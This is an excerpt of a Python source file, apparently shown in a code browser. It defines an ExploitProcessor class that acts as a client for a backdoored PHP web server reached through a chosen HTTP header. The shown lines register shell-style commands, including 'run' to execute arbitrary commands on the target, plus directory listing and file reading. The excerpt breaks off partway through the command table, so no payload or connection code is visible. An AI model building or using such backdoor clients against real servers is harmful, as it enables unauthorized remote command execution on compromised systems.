@brief Construct an ExploitProcessor. @param host the hostname of the backdoored server. @param path the path of the backdoored resource. @param method the HTTP method to access the backdoor with. @param header the HTTP header containing the backdoor. @pre \p host is a valid
| 9 | Inherits from the CommandProcessor class. |
| 10 | """ |
| 11 | class ExploitProcessor(CommandProcessor, ABC): |
| 12 | """ |
| 13 | @brief Construct an ExploitProcessor. |
| 14 | @param host the hostname of the backdoored server. |
| 15 | @param path the path of the backdoored resource. |
| 16 | @param method the HTTP method to access the backdoor with. |
| 17 | @param header the HTTP header containing the backdoor. |
| 18 | @pre \p host is a valid backdoored host. |
| 19 | @pre \p path is the path to a valid backdoored resource. |
| 20 | @pre \p method is allowed by the target. |
| 21 | @pre \p header corresponds to the server side backdoor. |
| 22 | @throw CommandException if the connection fails. |
| 23 | """ |
| 24 | def __init__(self, host: str, path: str, method: str, header: str): |
| 25 | super().__init__() |
| 26 | self.commands["--version"] = { |
| 27 | "method": self._Base__version, |
| 28 | "description": "Get the version of PHP running.", |
| 29 | "usage": "--version" |
| 30 | } |
| 31 | |
| 32 | self.commands["pwd"] = { |
| 33 | "method": self._Base__pwd, |
| 34 | "description": "Print working directory.", |
| 35 | "usage": "pwd" |
| 36 | } |
| 37 | |
| 38 | self.commands["ls"] = { |
| 39 | "method": self._Base__ls, |
| 40 | "description": "List files and directories.", |
| 41 | "usage": "ls" |
| 42 | } |
| 43 | |
| 44 | self.commands["run"] = { |
| 45 | "method": self._Base__run, |
| 46 | "description": "Run a command on the target machine.", |
| 47 | "usage": ("run command\n" |
| 48 | " command: the command to be run on the machine. " |
| 49 | "Do not surround in quotes.") |
| 50 | } |
| 51 | |
| 52 | self.commands["lrun"] = { |
| 53 | "method": self._Base__lrun, |
| 54 | "description": "Run a command on the local machine.", |
| 55 | "usage": ("lrun command\n" |
| 56 | " command: the command to be run on the machine. " |
| 57 | "Do not surround in quotes.") |
| 58 | } |
| 59 | |
| 60 | self.commands["cd"] = { |
| 61 | "method": self._Base__cd, |
| 62 | "description": "Change directory.", |
| 63 | "usage": ("cd directory\n" |
| 64 | " directory: the directory to change to.") |
| 65 | } |
| 66 | |
| 67 | self.commands["cat"] = { |
| 68 | "method": self._Base__cat, |
nothing calls this directly
no outgoing calls
no test coverage detected